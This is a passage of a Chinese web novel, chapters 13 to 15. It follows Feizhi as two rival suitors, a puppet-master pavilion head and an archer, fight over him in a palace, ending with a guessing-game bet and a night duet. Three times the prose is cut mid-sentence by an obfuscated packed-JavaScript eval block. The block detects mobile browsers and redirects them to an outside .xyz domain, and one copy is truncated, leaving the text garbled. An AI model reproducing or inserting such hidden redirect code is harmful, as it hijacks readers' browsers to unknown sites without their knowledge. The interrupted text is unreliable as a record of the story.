无数的黑影带着狰狞笑容围涌上来,绯枝想要逃离,却怎么都无法迈开步子。 绝望之际,突然有悠扬的曲儿声自远处传来。 似乎是用叶片吹得,很熟悉的曲调,一点点将痛苦驱散。 “别去人间!” 绯枝大喊出声,猛然惊醒,睁开眼,入目是红棕的房梁。 心脏剧烈跳动,惊出一身冷汗,久久无法回神。 半晌,思绪才一点点归位。 落玉衡这是给他拖哪来了? 缓缓靠坐起身,窗外光线略微刺眼,绯枝抬手遮了遮眼睛。 他约莫是从昨天傍晚昏睡到第二天早上。 “宴仙......” 回忆此前混乱的呢喃,绯枝捏捏眉心。 这下真的是要同时被两界追杀了,也不知道那个仙罚是怎么样的。 扭过头,在床头的柜子上看见了一枚细长的叶片,带着被人衔抿过的痕迹。 落玉衡很擅长用叶子吹曲。 “落兄?” “落兄你在吗?” 没人应答,绯枝又提高音量唤了几声。 奇了怪了,这么好的把他捆在身边还债的机会,那条疯狗居然放过了? 别是搁屋门口等着抓他一个现行呢。 小心翼翼推开房门,探出个脑袋,左看右看都没看到某位少主的身影。 绯枝也不犹豫,直接三步并作两步溜走。 虽然这样的做法有点像......好吧,就是翻脸不认人。 不过想来落兄已经习惯了。 去排练场地的路上,他又遇到了琳儿。 对方手上捧着一些书卷,正向着太子殿走去。 见到绯枝,琳儿面上的笑容也没有任何错漏或心虚,甚至更加灿烂了。 “公子,昨日殿下对你的服侍很满意。” 绯枝按捺下杀意,露出一个诚惶诚恐又羞涩的笑容,“是小民的荣幸。” 在不用受到仙罚的情况下,凡人在修仙者面前实在是脆弱,缔琉俟随便一个小法术就能让钟宏舫记忆错乱。 琳儿咯咯轻笑,塞过来一张小字条,“公子今夜去此处,殿下会有赏赐予你。” “这、多谢姑娘!” 目送走琳儿,绯枝笑容消失。 对方手上抱着的好像是一些奏折。 皇帝昏聩懒政,权力下放,太子早早把持朝政。 但奏折让一个宫女随意带着到处走未免有些太儿戏了。 再一看那字条上的位置,不是那晦气的亭子还能是哪里。 你们偷.情的地方让我去真的好吗,口味真重。 绯枝一到排练场地,苏煜直接扑了过来,“季兄你去哪了,我昨晚一直在找你!” “我跟你说,我那个断——” “打住。”绯枝抬手捏住苏煜的嘴,“苏兄,我要排练了,你也赶紧去排练吧。” 苏煜拉下绯枝的手,偷瞄周围那些优伶,神神秘秘地压低声音,“季兄你是不是跟你的相好去夜会了啊?” “哦,什么相好?”突然一个脑袋加入了进来。 绯枝侧眼,是一个身着青衫的年轻男人,生得只能说普普通通,可那双眼睛却莫名风流。 对方一点没有偷听的羞愧,十分自然地加入了谈话,“这位季公子昨夜去见相好了?” 一边问,他笑吟吟望着绯枝,还极没有分寸感地抬手撩起绯枝面侧一缕乌发,别到耳后。 “喂喂喂这位兄弟,虽然我喜欢跟人八卦,但你偷听不大好吧?”苏煜拍开年轻男人那只没礼貌的手,“别对我朋友动手动脚的。” 绯枝细细打量男人,对上对方尾端上挑的眼睛,突然笑起来。 “没事,苏兄你还要排练,先去吧。” “可你。”苏煜皱眉,显然是不放心自己这个脸生得太好的哥们。 “去去去。”绯枝把人推出了场地。 还未转身,后颈落下湿热呼吸。 痒丝丝的感觉叫绯枝很不适应,不自在地抖了抖。 回过头,年轻男人依旧在望着他笑。 对方自称是新来的指导先生,三言两语把那些优伶都哄去了其他地方排练。 “这位学员,你留下,你基础功太差了,我要单独指导指导你。” 想要开溜的绯枝被攥住了手腕。 男人面容普通,可气质实在出众,眼睛望过来总让人觉得缱绻。 绯枝预感不妙还想挣扎,腕上的力道却大得能将他捏碎。 “这位学员,还请配合一下呢。”男人笑吟吟。 被人牵上台子,绯枝忍不下去了,轻声问道:“阁主,你怎么来这儿了?” 年轻男人面上并无错愕,唇畔微勾,分明没有旁人,却也学着压低声音,“枝枝怎么认出来的?” 废话,就你这阴险阴暗变态的狐狸笑,天底下找不出第二个能笑出精髓的! “这天底下可就一位天机阁主,我认错谁都不可能认错你的。” 这具身体不过是奕戈制作的傀儡,对方的真身估计藏在哪个角落,只是将神识分了一部分过来。 奕戈语气不明,“嘴巴还是这么甜,咬起来是不是也很甜?” 绯枝一颤,总觉得被盯着的嘴唇隐隐发凉,生怕这变态真的拿他做菜,“阁主,桃花不好吃的。” 对方笑得面侧发丝轻晃,突然拍了拍手。 一众傀儡不知从何处鱼贯而出,在台下排排坐好充当观众,掌声喝彩声络绎不绝。 原本冷清的场地当即热闹起来。 但绯枝没觉得热闹,只觉得诡异。 这些傀儡说白了,全都是奕戈。 因为不信任旁人,疑心病极重,所以对方最喜欢这样自娱自乐。 迟早精神分裂。 “薄情郎呐,负我情深。” “叫那真心作笑谈。” 戏腔清冽冽响起,奕戈折扇轻展,绯枝被圈着手腕往前带。 呼吸间多了一抹冷香,抬眼对上对方的目光,他寒毛竖了起来。 又开始了,这唱起曲儿来看狗都深情的眼神。 “薄情郎呐,起我波澜。” “叫那年华都空待。” 每唱一声薄情郎,奕戈的咬字都要略重几分。 阴阳怪气的,你再骂? 绯枝心生坏主意,突然主动用左手与奕戈十指相扣,掌心相贴。 奕戈天塌了都不会变的笑容猛地怔住。 喜欢唱是吧,看我不恶心死你。 “心上人呐,莫道阑珊。” “我身似浮萍,怎敢将明月攀。” 右手捻一枝桃花,绯枝向着奕戈倾身,鼻尖都险些蹭到。 奕戈身形微晃,竟是被惊得后退一步。 游刃有余的模样荡然无存,倒显出几分罕见的呆愣。 两人一进一退,绯折接着作词唱道: “桃花年年红,心上人呐,不得欢。” “今斗胆,赠桃枝,了牵挂,渡此情千帆。” 唱罢,他将桃花枝簪入奕戈发丝,旋身拂袖掩面,是一个离去的姿态。 手腕被扣住,回头,奕戈似是还没回过神来,开口都没了唱腔,“你——” “我非良人,怎配你余生。” 绯枝果断打断,又欲逃。 奈何腕上的手一紧,将他带了回去。 几乎扑倒在人的胸膛上,腰上有手虚虚搂抱,过于亲昵的距离叫绯枝一僵。 倒也不必玩这么大吧,两个大男人抱来抱去的不嫌尴尬吗? 台下傀儡们十分活灵活现地开始起哄,倒还真像那么一回事。 奕戈垂眼,发丝拂面,口中的曲调已然换了味道。 “私情长,愿携君观桃红柳碧。” “心悦兮,四海伴君华发青丝。” 绯枝本能地想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14700351|151375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要打断,“阁——” “黄泉碧落,桃花未谢,我怎敢离。” “......” 微风习习,裹挟来身前人的气息。 一时间,绯枝忘了要说什么,心头刺烫,似是被奕戈露骨的词给灼烧到。 小心翼翼抬眼,奕戈始终都垂眸望着他。 眸底似藏着缱绻情意,又暗含幽怨,真真应了那一句情深错付薄情郎。 绯枝后背生寒,下意识想要抽手,却被圈得更紧。 心头呜呼哀哉,好像是犯贱犯过头了。 “阁主.....差不多了,玩笑有些太过了。” 哪怕明知道这位腹黑又小心眼的阁主是在戏弄他,他还是有些不自在。 对方演得太像了,他简直要自恋地以为对方真的对他情根深种,要为他赴汤蹈火呢。 要是信了,可就真着了道了。 奕戈低低笑起来,似乎想要说些什么,却倏地偏头。 一支墨金色的长箭擦过他的面侧,深深没入台面。 傀儡的面皮被破坏,隐隐露出里边的填充物来。 落玉衡迈上高台,一字一句戾气尽显,“放开他。” 绯枝眼前一黑,两个祖宗全到了,这皇宫今天还能完好吗? 奕戈似笑非笑看绯枝,轻声细语,“相好?” 绯枝硬着头皮,“朋友。” “枝枝朋友真多,也不知道我这个病秧子能有幸排上号吗?” “阁主妄自菲薄了,您在我心中自是最重要的。” 说这话的时候,绯枝几乎把声音压到了最轻,生怕被落玉衡听去哪怕一个字。 奕戈却揶揄,“枝枝原来有心呐,我还真是第一次知道。” 绯枝:“......” 你这样我就没法接话了。 见两人在那边咬耳朵,完全不搭理自己,落玉衡咬牙切齿,“没良心的东西,亏我这么担心你,还特意跑去给你买桃花酥。” “你倒好,这么快又勾搭上新的小白脸了!” 他将手上提着的油纸包往地上恨恨一摔,再次拉起长弓,对准奕戈的傀儡。 劲风刮得束发的桃花发带翻飞,愈添张扬。 “落兄,等等——” 长箭在空中与肉眼难辨的傀儡丝相撞,周遭的空间都被撕裂。 绯枝微微后退,腕上的力道终于松去,只觉脸被灵力余波拍得生疼。 傀儡到底不敌落玉衡,内里寸寸崩裂。 但落玉衡同样没能讨到好,四肢被傀儡丝缠绕住,一时难以挣脱。 他终于意识到那小白脸不过是个傀儡,“死残废,滚出来!” 内里损毁的傀儡缓缓退至一旁。 “蒙羞被好兮不訾诟耻。” “心几烦而不绝兮得知王子。” 与傀儡截然不同的声线响起。 用空谷幽兰去形容一个男人的嗓音着实罕见,但奕戈完全担得起。 青衫男子缓步登台,玉枝桃花折扇半遮面,眉眼含情,端得是无边风流。 绯枝不过是微微愣神的工夫,就已经被夹在了奕戈跟落玉衡中间,插翅难飞。 奕戈能够行走他是知道的,就如同操控傀儡一般,对方将傀儡丝刺入自己的腿部关节,将自己当做傀儡丝操控。 但他一直无法接受,就连病兮兮的奕戈都比他高半个头。 每次跟几个债主站一块儿,都显得他很没气势。 奕戈取下傀儡发丝间那枝桃花,拢住轻嗅。 悠然转身,眼波流转含笑,望着绯枝一吟一唱。 “山有木兮木有枝。” “心悦君兮君不知。” 词烫人,目光也烫人,绯枝仓促移开视线。 死变态,就这么喜欢戏弄桃花。 “死唱戏的!”终于挣开傀儡丝的落玉衡伸手一把抓过绯枝。 鼻尖撞上胸膛,绯枝眼眶一酸,这疯狗,还挺硬。 另一只手也被抓住,向着反方向一拽,大力传来。 “别别别扯了,我要裂开了!”绯枝当即嚎起来。 你们其实就是想杀我吧! 14.第 14 章 大抵是他嚎得太惨绝人寰了,抓着他两只手的两个人同时一僵,最后讪讪松开了手。 绯枝猛地缩回手,只见自己两只手腕上都多了一圈深深的红印子。 一个个吃什么长大的,劲大成这样。 “呔!两个登徒浪子,还不放开我季兄!” 突然一声厉呵,声音很熟悉,绯枝心头猛生不好预感。 向台下看,分明已经被推出去的苏煜不知道从哪里钻了进来,叉腰冲着台上横眉冷对。 落玉衡眼睛瞪大,“又来一个小白脸?” 绯枝呼吸一滞,能不能别来搅局了,还嫌这里不够乱的是吧。 然而事实告诉他,还能有更乱的。 苏煜见两人丝毫没有要搭理他的意思,又喊道:“我季兄可是有修仙者当伴侣的,你们再纠缠不休,我就喊......季兄就喊他伴侣来收拾你们!” “你们也不照照镜子,哪点比得上我季兄的伴侣,那才是真正的谪仙人,端庄又矜贵,不像你们,一个狐狸精一个拿箭乱射,粗鲁!” 绯枝心跳骤停。 你是真敢骂啊。 都跟你说一万遍缔琉俟不是我伴侣了,你个话痨就只听自己感兴趣的部分是吧? 他后背生寒,不管朝哪个方向看,都觉得飘满了“死”字。 这么骂这两人,一会儿苏煜一定是青一块儿紫一块儿,东一块儿西一块儿的。 “还有,我跟你们说,你们——” “苏兄,你别说了......”绯枝气若游丝。 苏煜微微停顿,语气坚定,“季兄,你别怕,我一定救你。” “你在这里,我真的很害怕。”绯枝深吸一口气,“求求你,闭嘴可以吗?” 耳畔鬼魂一样的声音已经响起来了。 奕戈笑容不变,“伴侣?” 落玉衡磨牙声越来越响,“你还有别的小白脸?” 绯枝弱弱一笑,“债主来讨债罢了,就金色那个债主。” 也亏得两人听懂了他这形容。 杀气略微散去一些,绯枝尚未来得及松口气,怀中丢进一油纸包,随后猛地被往台下一抛。 落玉衡同奕戈打了起来,没几个来回就消失在此地。 皇宫不能拆,估计是找别的地方决一死战去了。 他的这几个债主好像天生就不对付,这么多年来只要碰面就一定会爆发矛盾。 尤其是这几年,关系越来越恶劣了。 就连他温温柔柔的师尊都三番五次暗示让他远离某些狐朋狗友。 苏煜小鸡仔一般怂兮兮凑过来,他才发现这台下的根本不是优伶,而是一个个诡异的假人,此刻没了主人控制,全都僵停在原地,十分吓人。 刚才的硬气顿时全无,“季、季兄,怎么又是两个修仙者啊,你看你,也不提醒我一下......” “呵呵......”绯枝死鱼眼,差点就被你害死了。 “那什么,季兄你知道的。” “呵呵。” “你们是什么关系啊,还有......” 旁边的人一边后怕一边喋喋不休,但绯枝完全听不进去。他看着手腕上那一根傀儡丝,上面还挂了一张字条。 奕戈让他晚上去见面。 晚上方便你毁尸灭迹是吧。 再一看地点,熟悉的亭子。 这亭子是有诅咒吗,一个两个三个都喜欢朝那跑。 精神重创之下,绯枝笑容扭曲,捏住苏煜叭叭不停的嘴,“苏兄,要是我死了,你可一定要下来陪我啊。” 苏煜狠狠一颤,当下也不敢话痨了,怂怂转身数自己刚赚的银子。 绯枝叹了口气,低眼看向油纸包。 小心抽开系带,里面桃花形状的桃花酥露了出来。 一看就是新鲜出炉的,皮酥馅还温热,散发着浅浅的桃花香气。 只可惜,全都碎了。 他对这家点心铺子有印象,生意很好,门前总是排长队,也亏得落玉衡有耐心去等。 不会是花钱插队的吧? 捻起一块放入口中,豆沙馅在口中化开。 绯枝弯眉,还挺甜。 “这一天天的,过得都是什么日子啊。” 深夜,绯枝鬼鬼祟祟朝着亭子挪去。 为了等个大婚,他实在是付出太多了,等做完要做的,一定立刻逃得远远的,让四个债主一个都捉不到他。 立下雄心壮志,绯枝又开始思考一件很重要的事情。 也不知道那个约他夜间私会的太子有没有跟奕戈撞上,撞上了的话还活着没。 他这几个债主有时候真的挺幼稚的,揪着他跟揪个玩具似的,争来抢去。 就连师尊都这样。 靠近亭子,夜色下隐约见一道身影坐于亭中,背影清瘦,桃枝挽发。 而亭子外边,横七竖八倒了好几具尸体。 绯枝心头咯噔,快步上前检查,见没有钟宏舫的尸体这才安心。 这些杀手八成是冲他来的,而知道他要在晚上来此处的人,除了奕戈,就只有琳儿。 绯枝很快想通了经过,钟宏舫根本没有约他夜会,是琳儿要杀他。 因为他跟她心爱的太子“做了那种事”。 真是有够矛盾的,分明是她将不同的人送上太子的床,却又要因妒杀人。 将地上的尸体吸成了粉尘挥散,绯枝毫无波澜地走上前。 奕戈留着这些尸体无非是想要给他一个警告,让他安分些别再想着逃。 可笑,他岂是吓大的。 我绯枝,威武从不屈! 踏入亭子,绯枝当即眼眶一红,朝着奕戈扑过去,“阁主大人~” 悠哉喝茶的奕戈手一抖,愕然低头。 绯枝跪趴在奕戈膝头,都不用掐腿根,就已经装得泪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14818785|151375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汪汪,“阁主大人,您要替我做主呀。” 奕戈搁下茶盏,似笑非笑,“枝枝又想骗我去哪儿当冤大头?” 绯枝一噎,面不改色,抬手揩了把泪,“阁主你不知道,昨日我差点就被欺负了,皇宫里面好危险啊。” 翻开心中记仇的小本本,把被琳儿坑害的事情添油加醋叙述了一遍。 幽怨哀叹一声,“为什么我总是遇到这种变态呢,之前还遇上许多对男人纠缠不休的癫子。” 这原本是在吐槽以前遇到的那些喜欢男人的油腻断袖,可绯枝悄悄抬眼,却发现奕戈不知为何面色怪异,欲言又止的样子。 “阁主?” 对方看了他一眼,突然用扇柄挑上他下巴,“枝枝,知道阁主今天找你做什么吗?” 绯枝暗暗警惕,“什么啊?” “打个赌。” 凉硬的木质扇柄在下巴上划弄,痒丝丝的,绯枝下意识往后缩,却被扇柄不轻不重拍了拍。 于是乖乖趴在奕戈膝头,听对方接着说打赌的内容。 指尖戳戳那大腿,大腿当即绷紧了。 奕戈的腿很奇怪,有知觉,微微能动,但就是无法站立行走。 听对方哼了一声,察觉到其中的危险意味,绯枝立刻安分。 “我会说五句话,枝枝猜其中哪几句是真话,猜对的话,阁主替你办事,不管是杀了那个琳儿跟太子还是杀别的什么人。” 绯枝并没有被这看似简单易得的大饼砸昏头,“如果猜错了呢?” 扇柄倏地上挑,他被迫高高仰头,与奕戈对望。 对方眼睛轻眨,微微弯起,“那枝枝就跟我回天机阁。” 果然,除了师尊让他别回师门,其他三个债主其实都想把他关回去。 突然张口咬住扇柄,绯枝弯眼一笑,眸底漾开暖红鹅黄,眼尾那枚桃花印记也随之浮现。 桃花朵朵开在周边,香气于亭内氤氲开。 奕戈的手一僵。 “唰——” 绯枝趴在膝头,叼着扇柄歪头,折扇便缓缓展开,遮住他的面容。 自上俯瞰,人面桃花相映红,秾艶得惊心动魄。 抬眼,奕戈静静看着他,眸色不定。 抬手取下折扇,绯枝笑眯眯,“这是我之前新学的动作,阁主觉得怎么样?” 然而奕戈没有回答,好半天后把折扇拿了回去。 修长苍白的指尖在他叼过的地方不住摩挲,很是嫌弃的样子。 绯枝悻悻,白学了,腹黑鬼好像不喜欢这个动作。 奕戈收起折扇,“开始吧。” “等下!” 绯枝一溜烟蹦跶起来坐到奕戈对面,掏出纸笔,又拍拍脑袋让自己清醒,腰板挺得笔直,跟听教书先生讲课似的,“好了,说吧。” “......” “一,我心悦你,想与你做生生世世的伴侣。” 15.第 15 章 第一句就叫绯枝险些折断手中的笔,他有些莫名,不懂奕戈为什么要说这种明显是假话的话让他猜。 抬头,奕戈正笑吟吟注视着他。 “二,我原名不叫奕戈。” “三,我什么都愿意为你做。” “四,我并非不相信任何人。” “五,我腿的残疾是后天的。” 绯枝落下最后一个字,拿起纸,细细琢磨起来。 一、三、四明显是假的。 至于另外两句...... 绯枝支着脸笑,“阁主~说起来,你都没同我说过你以前的事情呢,趁此机会,说说吧。” 奕戈也学着支脸笑,“作弊直接就算输哦。” 两人隔着张石桌静静对视,片刻后,见捞不到消息的绯枝果断低头接着琢磨那五句话。 过于专注,都没察觉奕戈的目光依旧落在他身上。 最后,绯枝做出了决定。 奕戈或许不是真名,腿应该是先天病弱残疾。 “一句真话,二是真的。” 作出回答,绯枝紧张看着奕戈。 而奕戈折扇掩面,看不清神情,绯枝隐约听对方说了句,“真是块......” 后面的话就听不清了。 “给枝枝说个故事如何?”奕戈没有宣布答案,而是支着下巴笑吟吟道。 绯枝乖乖坐好:“洗耳恭听。” “从前有一个小孩,因为身体不好被爹娘卖掉了......” 奕戈曾经不叫奕戈,但他也已经忘记了自己的名字,将他买回去的人叫他一号。 号码是依照脸来排的。 为了有饭吃,为了活命,他从四岁开始学唱曲儿,学如何让自己一颦一笑都蛊惑人心,学察言观色取悦旁人。 他很喜欢唱曲儿,可是那个人让他学这些,是为了在十五岁的时候将他当做一个稀罕玩物送给达官显贵。 最后,因为反抗的时候杀死了那个权贵,他被毒哑嗓子,打断腿,剜去膝盖骨,划烂脸丢进乱葬岗。 听到这里,绯枝下意识摸向奕戈的腿,膝盖骨还在。 “那你是怎么——” 他想问,那样的绝境,一个十五岁的孩子是怎么活下来,还一步步爬上高位的。 可是奕戈不打算往下说了。 他的桃花眼弯起,“这就是另一个故事了。” “不过,要是枝枝愿意跟我回天机阁,我就都告诉你。” 绯枝一愣,“我不是本来就猜错了吗,按照赌约——” “但枝枝不愿意跟我走啊,那就留下吧。” ——三、我什么都愿意为你做。 莫名的,绯枝脑中猛地跳出来这句话。 心跳诡异地快速跳动,他一时间竟是有些说不上来的心颤。 试探着问:“所以......一共有几句真话?” 奕戈勾唇,“你猜。” 绯枝猜不出,对方的口中向来假话多真话少,今夜或许也只是突生了戏弄他的兴致。 “若是阁主没有别的事,我——” “听一曲再走吧。” 绯枝被压着肩膀按回石凳。 傀儡抱琴而坐,奕戈缓缓起身,青衫摇曳。 “良辰美景奈何天,赏心乐事谁家院。” “则为你如花美眷,似水流年。” 他不曾上妆面,也未戴珠翠华饰,唯有挽发那一枝桃花,于花团锦簇的凉亭中未免显得朴素。 可偏生了一具美人骨,人比花艳。 那双含情的桃花眼望过来,颦笑间,绯枝感觉自己的心跳又莫名快了起来。 奕戈步履轻移,袖摆掩面,腕骨伶仃,身段清瘦,却坚韧挺拔。 “情不知所起,一往而深。” “生者可以死,死可以生。” 冷香萦绕在呼吸间,绯枝看着眼前只为他一人演出的人,一时间有些怔神。 他好像还从没有这么仔细看过奕戈,以往总是忙着揣度对方的心思,在意的是那笑里藏刀的性子。 这会儿细细欣赏,这位天机阁主真真是生得好相貌,若登台,必是满堂喝彩。 琴声渐弱,曲接近结尾。 “唰——” 熟悉的声响传来。 绯枝一愣。 奕戈口衔折扇柄,扇面缓缓滑落合拢,两人便对上了目光。 眼波流转,情似至深。 心跳好似漏跳了一拍。 半晌,奕戈取下折扇,于静谧中轻声细语:“枝枝你说,若是爱而不得,该怎么办呢?” ...... 绯枝好半天回不过神来。 谁爱而不得? 奕戈? 他这样的人也会爱而不得? 身份、容貌、财富、实力,常人追逐一生的事物他应有尽有。 一步登天的机会摆在眼前,真的有人能拒绝对方吗? 除非是...... 绯枝小心翼翼:“阁主,你喜欢的应该不是有夫之妇吧?” 奕戈:“......” 他坐回轮椅,垂下眼,语气幽幽,“说笑罢了。” 莫名的,绯枝后背一凉,有种被扎小人的如芒在背感。 但随即将这种错觉抛开。 他就说嘛,奕戈这样的人才不会喜欢别人。 喜欢是一场要押上真心的赌局。 他跟奕戈是同类,连上桌押注的资格都没有。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14886441|151375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “咳咳咳......”奕戈突然咳嗽起来。 绯枝看到有血迹溢出对方唇角。 “枝枝。”他揩去血迹撒娇道:“心口好疼啊。” 听这语气,腹黑狐狸肯定不怀好意。 绯枝假装听不懂对方的意思,厚着脸皮一副不关我事的天真模样道:“那阁主可要好好休息啊,多喝热水。” 对方却是不打算放过他,抬手扯开衣襟。 分明有的是法子将心口的伤痕消去,奕戈却偏偏不去治疗,任由伤口狰狞攀附在苍白的胸膛。 直面那由自己亲手捅出来的伤口,绯枝目移。 “阁主怎么不消掉啊......” “因为是枝枝留下的啊。” 懂了,这就是他的罪证,这伤口在一天,他就要被奕戈蛐蛐。 “让我看看。”绯枝凑近。 对方也是完全不怕再被他捅一刀,居然真的任由他贴近了心口。 还是说其实傀儡丝已经悄悄警惕在周围了? 抬眼,奕戈支着脸,好整以暇的悠闲模样,等着看他又要做些什么小动作。 绯枝半蹲,扒在轮椅扶手旁,突然嘻嘻一笑,仰起脑袋撅起嘴朝着那伤口吹气,“乖哦乖哦,吹吹就不疼了。” 他清楚记得,以前师尊也是这么哄他的,哪里摔了就吹哪里。 然而,才吹了两口,就被扣住手腕提溜了起来。 “阁主?” 是他吹得不够慈爱吗? 奕戈的神情有些奇怪,也不知是不是错觉,要比平日里气色好得多。 “你——”奕戈顿了顿,松开他,没了后半句。 将敞开的衣襟理好,展开折扇挡住大半张脸不让他看。 绯枝凑过去,“阁主?” 那折扇又挡,平日里分明很喜欢盯着他瞧,这会儿却目光飘忽。 脑袋接着贱兮兮往前凑,被折扇抵开,不轻不重敲了敲,饱含警告之意。 于是绯枝作势要溜,对方竟也不阻拦,在后面飘来一句:“枝枝是冲着大典来的吧?” ! 猛地一僵,他强行镇定,扬起一个无辜的笑容,“什么是大典,阁主在说什么?” 奕戈却没有要多问的意思,只道:“需要工具人的话,找阁主就可以了哦。” 绯枝一时间顿住,有些迷茫地看过去。 对方靠于轮椅背,清冷月光穿过亭子落在身上,青丝如瀑。 半晌,向他摆手轻笑,“去罢。” 那我可就真走了嗷。 少年毫不留恋离开的背影消失在视野,奕戈垂眼,笑容淡去。 夜风穿过亭落,吹散了叹息般的呢喃。 “求不得啊......”